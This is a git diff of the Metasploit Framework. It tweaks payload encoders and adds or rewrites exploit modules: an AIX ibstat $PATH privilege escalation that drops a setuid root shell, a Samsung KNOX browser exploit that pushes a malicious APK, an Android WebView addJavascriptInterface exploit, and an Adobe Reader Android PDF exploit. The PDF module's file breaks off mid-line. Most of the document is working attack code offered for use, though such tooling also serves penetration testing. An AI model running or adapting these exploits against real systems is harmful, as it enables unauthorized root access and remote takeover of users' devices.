a/modules/encoders/x86/fnstenv_mov.rb b/modules/encoders/x86/fnstenv_mov.rb index fb793e1e93..f942c29eb9 100644 --- a/modules/encoders/x86/fnstenv_mov.rb +++ b/modules/encoders/x86/fnstenv_mov.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -31,6 +31,12 @@ class Metasploit3 < Msf::Encoder::Xor # being encoded. # def decoder_stub(state) + + # Sanity check that saved_registers doesn't overlap with modified_registers + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + decoder = Rex::Arch::X86.set( Rex::Arch::X86::ECX, @@ -48,4 +54,18 @@ class Metasploit3 < Msf::Encoder::Xor return decoder end + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # A list of registers always touched by this encoder + def modified_registers + [ Rex::Arch::X86::EBX, Rex::Arch::X86::ECX ] + end + + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end end diff --git a/modules/encoders/x86/jmp_call_additive.rb b/modules/encoders/x86/jmp_call_additive.rb index a1018b1ea3..5a0b98d082 100644 --- a/modules/encoders/x86/jmp_call_additive.rb +++ b/modules/encoders/x86/jmp_call_additive.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonalpha.rb b/modules/encoders/x86/nonalpha.rb index 250ebcf995..b4e275351e 100644 --- a/modules/encoders/x86/nonalpha.rb +++ b/modules/encoders/x86/nonalpha.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/nonupper.rb b/modules/encoders/x86/nonupper.rb index 513d8b2a58..48a261b1f7 100644 --- a/modules/encoders/x86/nonupper.rb +++ b/modules/encoders/x86/nonupper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/opt_sub.rb b/modules/encoders/x86/opt_sub.rb index 6e3e31ba10..bc88bb3786 100644 --- a/modules/encoders/x86/opt_sub.rb +++ b/modules/encoders/x86/opt_sub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Encoder This adds 3-bytes to the start of the payload to bump ESP by 32 bytes so that it's clear of the top of the payload. }, - 'Author' => 'OJ Reeves ', + 'Author' => 'OJ Reeves ', 'Arch' => ARCH_X86, 'License' => MSF_LICENSE, 'Decoder' => { 'BlockSize' => 4 } diff --git a/modules/encoders/x86/shikata_ga_nai.rb b/modules/encoders/x86/shikata_ga_nai.rb index 5208c1be97..1fc2d63640 100644 --- a/modules/encoders/x86/shikata_ga_nai.rb +++ b/modules/encoders/x86/shikata_ga_nai.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,9 +37,16 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback # Generates the shikata decoder stub. # def decoder_stub(state) + # If the decoder stub has not already been generated for this state, do # it now. The decoder stub method may be called more than once. if (state.decoder_stub == nil) + + # Sanity check that saved_registers doesn't overlap with modified_registers + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + # Shikata will only cut off the last 1-4 bytes of it's own end # depending on the alignment of the original buffer cutoff = 4 - (state.buf.length & 3) @@ -61,6 +68,27 @@ class Metasploit3 < Msf::Encoder::XorAdditiveFeedback state.decoder_stub end + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # A list of registers always touched by this encoder + def modified_registers + # ESP is assumed and is handled through preserves_stack? + [ + # The counter register is hardcoded + Rex::Arch::X86::ECX, + # These are modified by div and mul operations + Rex::Arch::X86::EAX, Rex::Arch::X86::EDX + ] + end + + # Always blacklist these registers in our block generation + def block_generator_register_blacklist + [Rex::Arch::X86::ESP, Rex::Arch::X86::ECX] | saved_registers + end + protected # @@ -251,15 +279,18 @@ protected loop_inst.depends_on(loop_block) begin - # Generate a permutation saving the ECX and ESP registers - loop_inst.generate([ - Rex::Arch::X86::ESP, - Rex::Arch::X86::ECX ], nil, state.badchars) + # Generate a permutation saving the ECX, ESP, and user defined registers + loop_inst.generate(block_generator_register_blacklist, nil, state.badchars) rescue RuntimeError => e raise EncodingError end end + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end + def sub_immediate(regnum, imm) return "" if imm.nil? or imm == 0 if imm > 255 or imm < -255 diff --git a/modules/encoders/x86/single_static_bit.rb b/modules/encoders/x86/single_static_bit.rb index bd74981a1d..e4bb69f6d1 100644 --- a/modules/encoders/x86/single_static_bit.rb +++ b/modules/encoders/x86/single_static_bit.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_mixed.rb b/modules/encoders/x86/unicode_mixed.rb index b4fc6fd066..adad3d890f 100644 --- a/modules/encoders/x86/unicode_mixed.rb +++ b/modules/encoders/x86/unicode_mixed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/unicode_upper.rb b/modules/encoders/x86/unicode_upper.rb index e236e25adf..cf6d84733c 100644 --- a/modules/encoders/x86/unicode_upper.rb +++ b/modules/encoders/x86/unicode_upper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb new file mode 100644 index 0000000000..18f91d7ec9 --- /dev/null +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -0,0 +1,174 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit4 < Msf::Exploit::Local + + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + "Name" => "ibstat $PATH Privilege Escalation", + "Description" => %q{ + This module exploits the trusted $PATH environment variable of the SUID binary "ibstat". + }, + "Author" => [ + "Kristian Erik Hermansen", #original author + "Sagi Shahar ", #Metasploit module + "Kostas Lintovois " #Metasploit module + ], + "References" => [ + ["CVE", "2013-4011"], + ["OSVDB", "95420"], + ["BID", "61287"], + ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"], + ["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"] + ], + "Platform" => ["unix"], + "Arch" => ARCH_CMD, + "Payload" => { + "Compat" => { + "PayloadType" => "cmd", + "RequiredCmd" => "perl" + } + }, + "Targets" => [ + ["IBM AIX Version 6.1", {}], + ["IBM AIX Version 7.1", {}] + ], + "DefaultTarget" => 1, + "DisclosureDate" => "Sep 24 2013" + )) + + register_options([ + OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) + ], self.class) + end + + def check + find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null") + + if find_output.include?("ibstat") + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + else + print_good("Target is vulnerable.") + end + + root_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}" + arp_file = "#{datastore["WritableDir"]}/arp" + c_file = %Q^#include + +int main() +{ + setreuid(0,0); + setregid(0,0); + execve("/bin/sh",NULL,NULL); + return 0; +} +^ + arp = %Q^#!/bin/sh + +chown root #{root_file} +chmod 4555 #{root_file} +^ + + if gcc_installed? + print_status("Dropping file #{root_file}.c...") + write_file("#{root_file}.c", c_file) + + print_status("Compiling source...") + cmd_exec("gcc -o #{root_file} #{root_file}.c") + print_status("Compilation completed") + + register_file_for_cleanup("#{root_file}.c") + else + cmd_exec("cp /bin/sh #{root_file}") + end + + register_file_for_cleanup(root_file) + + print_status("Writing custom arp file...") + write_file(arp_file,arp) + register_file_for_cleanup(arp_file) + cmd_exec("chmod 0555 #{arp_file}") + print_status("Custom arp file written") + + print_status("Updating $PATH environment variable...") + path_env = cmd_exec("echo $PATH") + cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH") + cmd_exec("export PATH") + + print_status("Finding interface name...") + iface = "" + cmd_exec("lsdev -Cc if").each_line do |line| + if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/) + iface = line.split(/\s+/)[0] + print_status("Found interface #{iface}.") + break + end + end + if iface == "" + iface = "en0" + print_status("Found no interface, defaulting to en0.") + end + + print_status("Triggering vulnerablity...") + cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null") + + # The $PATH variable must be restored before the payload is executed + # in cases where an euid root shell was gained + print_status("Restoring $PATH environment variable...") + cmd_exec("PATH=#{path_env}") + cmd_exec("export PATH") + + cmd_exec(root_file) + print_status("Checking root privileges...") + + if is_root? + print_status("Executing payload...") + cmd_exec(payload.encoded) + end + end + + def gcc_installed? + print_status("Checking if gcc exists...") + gcc_whereis_output = cmd_exec("whereis -b gcc") + + if gcc_whereis_output.include?("/") + print_good("gcc found!") + return true + end + + print_status("gcc not found. Using /bin/sh from local system") + false + end + + def is_root? + id_output = cmd_exec("id") + + if id_output.include?("euid=0(root)") + print_good("Got root! (euid)") + return true + end + if id_output.include?("uid=0(root)") + print_good("Got root!") + return true + end + + print_status("Exploit failed") + false + end + +end diff --git a/modules/exploits/aix/rpc_cmsd_opcode21.rb b/modules/exploits/aix/rpc_cmsd_opcode21.rb index 81f7f12912..ad11665a90 100644 --- a/modules/exploits/aix/rpc_cmsd_opcode21.rb +++ b/modules/exploits/aix/rpc_cmsd_opcode21.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -80,9 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret']) begin - if (not sunrpc_create('udp', 100068, 4)) - fail_with(Failure::Unknown, 'sunrpc_create failed') - end + sunrpc_create('udp', 100068, 4) # spray the heap a bit (work around powerpc cache issues) buf = make_nops(1024 - @aixpayload.length) @@ -105,9 +103,11 @@ class Metasploit3 < Msf::Exploit::Remote sunrpc_destroy rescue Rex::Proto::SunRPC::RPCTimeout - # print_error('RPCTimeout') + vprint_error('RPCTimeout') + rescue Rex::Proto::SunRPC::RPCError => e + vprint_error(e.to_s) rescue EOFError - # print_error('EOFError') + vprint_error('EOFError') end end diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index 41db79436c..3e8a17e173 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb new file mode 100644 index 0000000000..c98bbeb16b --- /dev/null +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -0,0 +1,163 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'digest/md5' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::BrowserExploitServer + + # Hash that maps payload ID -> (0|1) if an HTTP request has + # been made to download a payload of that ID + attr_reader :served_payloads + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samsung Galaxy KNOX Android Browser RCE', + 'Description' => %q{ + A vulnerability exists in the KNOX security component of the Samsung Galaxy + firmware that allows a remote webpage to install an APK with arbitrary + permissions by abusing the 'smdm://' protocol handler registered by the KNOX + component. + + The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, + and Ace 4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Andre Moulu', # discovery, advisory, and exploitation help + 'jduck', # msf module + 'joev' # msf module + ], + 'References' => [ + ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'], + ['OSVDB', '114590'] + ], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Nov 12 2014', + 'DefaultTarget' => 0, + + 'BrowserRequirements' => { + :source => 'script', + :os_name => OperatingSystems::Match::ANDROID + } + )) + + register_options([ + OptString.new('APK_VERSION', [ + false, "The update version to advertise to the client", "1337" + ]) + ], self.class) + + deregister_options('JsObfuscate') + end + + def exploit + @served_payloads = Hash.new(0) + super + end + + def apk_bytes + payload.encoded + end + + def on_request_uri(cli, req) + if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/ + if req.method.upcase == 'HEAD' + print_status "Serving metadata..." + send_response(cli, '', magic_headers) + else + print_status "Serving payload '#{$1}'..." + @served_payloads[$1] = 1 + send_response(cli, apk_bytes, magic_headers) + end + elsif req.uri =~ /_poll/ + vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" + send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain') + elsif req.uri =~ /launch$/ + send_response_html(cli, launch_html) + else + super + end + end + + # The browser appears to be vulnerable, serve the exploit + def on_request_exploit(cli, req, browser) + print_status "Serving exploit..." + send_response_html(cli, generate_html) + end + + def magic_headers + { 'Content-Length' => apk_bytes.length, + 'ETag' => Digest::MD5.hexdigest(apk_bytes), + 'x-amz-meta-apk-version' => datastore['APK_VERSION'] } + end + + def generate_html + %Q| + + + + | + end + + def exploit_js + payload_id = rand_word + + js_obfuscate %Q| + + function poll() { + var xhr = new XMLHttpRequest(); + xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999); + xhr.onreadystatechange = function(){ + if (xhr.readyState == 4) { + if (xhr.responseText == '1') { + setTimeout(killEnrollment, 100); + } else { + setTimeout(poll, 1000); + setTimeout(enroll, 0); + setTimeout(enroll, 500); + } + } + }; + xhr.onerror = function(){ + setTimeout(poll, 1000); + setTimeout(enroll, 0); + }; + xhr.send(); + } + + function enroll() { + var loc = window.location.href.replace(/[/.]$/g, ''); + top.location = 'smdm://#{rand_word}?update_url='+ + encodeURIComponent(loc)+'/#{payload_id}.apk'; + } + + function killEnrollment() { + top.location = "intent://#{rand_word}?program="+ + "#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end"; + setTimeout(launchApp, 300); + } + + function launchApp() { + top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end'; + } + + enroll(); + setTimeout(poll,600); + + | + end + + def rand_word + Rex::Text.rand_text_alphanumeric(3+rand(12)) + end +end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 40c5461117..94df011f42 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -1,34 +1,38 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' +require 'msf/core/exploit/android' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn + include Msf::Exploit::Android - autopwn_info({ - :os_flavor => "Android", + VULN_CHECK_JS = %Q| + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} + } + | + + autopwn_info( + :os_name => OperatingSystems::Match::ANDROID, :arch => ARCH_ARMLE, :javascript => true, :rank => ExcellentRanking, - :vuln_test => %Q| - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} - } - | - }) + :vuln_test => VULN_CHECK_JS + ) def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', - 'Description' => %q{ + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', + 'Description' => %q{ This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection @@ -46,75 +50,111 @@ class Metasploit3 < Msf::Exploit::Remote Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, - 'License' => MSF_LICENSE, - 'Author' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck', # original msf module 'joev' # static server ], - 'References' => [ + 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], - ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] + ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'], + ['CVE', '2012-6636'], # original CVE for addJavascriptInterface + ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_) + ['EDB', '31519'], + ['OSVDB', '97520'] ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'DefaultOptions' => { 'PrependFork' => true }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => 'Dec 21 2012', - 'DefaultTarget' => 0, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0, 'BrowserRequirements' => { - :source => 'script', - :os_flavor => "Android", - :arch => ARCH_ARMLE + :source => 'script', + :os_name => OperatingSystems::Match::ANDROID, + :vuln_test => VULN_CHECK_JS, + :vuln_test_error => 'No vulnerable Java objects were found in this web context.' } )) + + deregister_options('JsObfuscate') end + # Hooked to prevent BrowserExploitServer from attempting to do JS detection + # on requests for the static javascript file def on_request_uri(cli, req) - if req.uri.end_with?('js') - print_status("Serving javascript") - send_response(cli, js, 'Content-type' => 'text/javascript') + if req.uri =~ /\.js/ + serve_static_js(cli, req) else super end end + # The browser appears to be vulnerable, serve the exploit def on_request_exploit(cli, req, browser) - print_status("Serving exploit HTML") - send_response_html(cli, html) + arch = normalize_arch(browser[:arch]) + print_status "Serving #{arch} exploit..." + send_response_html(cli, html(arch)) end - def js + # Called when a client requests a .js route. + # This is handy for post-XSS. + def serve_static_js(cli, req) + arch = req.qstring['arch'] + response_opts = { 'Content-type' => 'text/javascript' } + + if arch.present? + print_status("Serving javascript for arch #{normalize_arch arch}") + send_response(cli, add_javascript_interface_exploit_js(normalize_arch arch), response_opts) + else + print_status("Serving arch detection javascript") + send_response(cli, static_arch_detect_js, response_opts) + end + end + + # This is served to requests for the static .js file. + # Because we have to use javascript to detect arch, we have 3 different + # versions of the static .js file (x86/mips/arm) to choose from. This + # small snippet of js detects the arch and requests the correct file. + def static_arch_detect_js %Q| - function exec(obj) { - // ensure that the object contains a native interface - try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + var arches = {}; + arches['#{ARCH_ARMLE}'] = /arm/i; + arches['#{ARCH_MIPSLE}'] = /mips/i; + arches['#{ARCH_X86}'] = /x86/i; - // get the runtime so we can exec - var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}"; - - // get the process name, which will give us our data path - var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); - var ch, path = '/data/data/'; - while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } - path += '/#{Rex::Text.rand_text_alpha(8)}'; - - // build the binary, chmod it, and execute it - m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor(); - m.invoke(null, null).exec(['chmod', '700', path]).waitFor(); - m.invoke(null, null).exec([path]); - - return true; + var arch = null; + for (var name in arches) { + if (navigator.platform.toString().match(arches[name])) { + arch = name; + break; + } } - for (i in top) { if (exec(top[i]) === true) break; } + if (arch) { + // load the script with the correct arch + var script = document.createElement('script'); + script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch); + script.setAttribute('type', 'text/javascript'); + + // ensure body is parsed and we won't be in an uninitialized state + setTimeout(function(){ + var node = document.body \|\| document.head; + node.appendChild(script); + }, 100); + } | end - def html - "" + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end + end + + def html(arch) + "" end end diff --git a/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb new file mode 100644 index 0000000000..1ac2e4a2b6 --- /dev/null +++ b/modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/exploit/fileformat' +require 'msf/core/exploit/pdf' +require 'msf/core/exploit/android' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::PDF + include Msf::Exploit::Android + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', + 'Description' => %q{ + Adobe Reader versions less than 11.2.0 exposes insecure native + interfaces to untrusted javascript in a PDF. This module embeds the browser + exploit from android/webview_addjavascriptinterface into a PDF to get a + command shell on vulnerable versions of Reader. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # discoverer + 'joev' # msf module + ], + 'References' => + [ + [ 'CVE', '2014-0514' ], + [ 'EDB', '32884' ], + [ 'OSVDB', '105781' ], + ], + 'Platform' => 'android', + 'DefaultOptions' => { + 'PAYLOAD' => 'android/meterpreter/reverse_tcp' + }, + 'Targets' => [ + [ 'Android ARM', { + 'Platform' => 'android', + 'Arch' => ARCH_ARMLE + } + ], + [ 'Android MIPSLE', { + 'Platform' => 'android', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'Android X86', { + 'Platform' => 'android', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => 'Apr 13 2014', + 'DefaultTarget' => 0 + )) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), + ], self.class) + end + + def exploit + print_status("Generating Javascript exploit...") + js = add_javascript_interface_exploit_js(ARCH_ARMLE) + print_status("Creating PDF...") + file_create(pdf(js)) + end + + def trailer(root_obj) + id = @xref.keys.max+1 + "trailer" << eol << "<>" << eol + end + + def add_compressed(n, data) + add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) + end + + def pdf(js) + self.eol = "\x0d" + @xref = {} + @pdf = header('1.6') + + add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") + add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") + add_compressed(3, "eJztV91umzAUfoK8g8UuN2OMIQkWUFWJplUqU7VGam+N7aSs/AmMQvtqvdgj7RVmEpKRNJp2M2kXWAjZ+Hzfd3zO4Uie+D66lflGPQFCMEH3TaxeSokeo1u06iaRVEwwxcKwVpVk2cS/akvGn6UCsdwkeWD8fPthgEQExoMbWVG5kE/Jl9dK3r9+XfHXZ+4J4yqc+C1tszLTZKDN0rymbWAwUcSS6nn3GRlgZ6KeA+O62wCP0R1YFJUErulAblkumM1N7MyIPf0EbAvbyJojm0BMqNU9oB9GONFvvxJr+m35uZfTq8B4UqqkCG23W3NLzKLaIOx5HrJsZNtQW8D6JVeshXn9YU9y4FnKmldJqZIiB92axUWjAsOYgMHoz5WVR6G8NndnNHmRoZaVCJsWugQS/IgpmyrduSY4kqnMZK5qjcMXcVosiv4sl2UXkeUgHic4vaFxBB0D0MVA69CoEMn6ZcmUDHXwHWi5kOAVtil2qD3VS2pZPjqzPONY6ApScsBBdhyEEpe6+KNlHzkGlud+9AX5V54MbS/5UlSrokjDfcFd86qImQJYx23gRW8zgAtO10WVMRWyskwTzrrC6CLno99bp/YqUenQhUNlXafq9OthI026TNGU5ZvAaKGQa9akygi/16ZqlY/2NmeM6D3lzqVzdX9XOHRZ8KYrsJtl2DSJoJ6Yu1NPSjhbizl0nJhBj885nErXtl3iejFzd4E5xb7jvclrxXIuD7wOn1nONNaZcjwCPcuJIXNdGwqOZ3ObxySO8YF3gB3w6tjSu6oQDZdVeMjTg4zBgpWq0T1in7MTs8kwKIM/eN8eUN8fdGtCx970LhX/ZIwio8goMoqMIqPIKPJfiQxuNzLXV5ptd3fRs/7u8wtzq37r") + add_compressed(32, "eJzjtbHR93QJVjA0VzBQCNIPDfIBsi1AbDs7XgBc3QYo") + add_compressed(7, "eJzjtbHRd84vzStRMNJ3yywqLlGwUDBQCNL3SYQzQyoLUvX9S0tyMvNSi+3seAF54Q8a") + add_compressed(16, "eJzjtbHRd84vzStRMNT3zkwpjjYyUzBQCIrVD6ksSNUPSExPLbaz4wUA0/wLJA==") + add_compressed(22, "eJzjtbHRD1Mw1DMytbPjBQARcgJ6") + add_compressed(10, "eJzjtbHRd85JLC72TSxQMDRUMFAI0vdWMDQCMwISi1LzSkKKUlMVDI3RRPxSK0q8UysVDPVDKgtS9YNLikqTwRJB+fkldna8AIaCG78=") + add_compressed(11, "eJzjtbHRDy5IKXIsKgGy/PXDU5OcEwtKSotS7YCAFwCW+AmR") + add_compressed(12, "eJzjtbHR91YwNFUwUAjSD1AwNAAzgvVd8pNLc1PzSuzseAGGCwiD") + add_compressed(13, "eJzjtbHR9yvNLY42UDA0UTBQCIq1s+MFADohBRA=") + add_compressed(14, "eJzjjTY0VTBQCFKAULG8ABzfA0M=") + add_compressed(15, "eJzjtbHRd9YPLkgpciwq0feONlAwjNUPUDA0UjBQCNIPSFcwMgOzgvWB8pnJOal2drwAYtsNjA==") + add_compressed(26, "eJx1jk0KwkAMhU/QO+QEnRmnrQiloBXEhVBaV4qLoQ0iyGSYH9Dbm7ZrAwn54L2XZHUt9tZSDFAokNCLlmxEy1wWK3tyB/rcZS5h7kpteG53PB/i5Ck50KvyfARdLtsFp5f5a+puoHIpOuP5DqhqsfQYKPkRAz/U0pv84MyIMwwStJ41DZfoKZqIIMUQfRrjGhKYr1+HnPnEpsl+Bag7pA==") + add_compressed(41, "eJzjjTa2UDBQCIrlBQAKzAIA") + add_compressed(54, "eJwBzwAw/w08PC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVuZ3RoIDE1ND4+c3RyZWFtDUiJXE7BDcIwFLv3K/IFvlatYzAG66bgYSDM2/BQa6cDXWV7gv69m7d5SEISCKGs57axjpEklDFbd/MX1GQCc3jgRMaEN2oNDSVHrMeoep358/SgXQjse9Dx5w722naW29AhTU2RQ2zLkSivJNwABQyuE0pitYGO1SLSiJbxJL0XjaDpibv76UiZ7wvI+cx/rWb1V4ABAMukNiwNZW5kc3RyZWFtDcyfYBU=") + add_compressed(34, "eJzjtbHRdw5WMDZTMFAI0g/WDylKzCsuSCxKzUuutLPjBQB75gjK") + add_compressed(35, "eJzj1ZA6peCnxVrNzHD3v1xSmdpmTV4AOosGFg==") + add_compressed(33, "eJzjjdb3dHZ2SixOTVEwslQwUAiK5QUANnUE/Q==") + add_compressed(29, 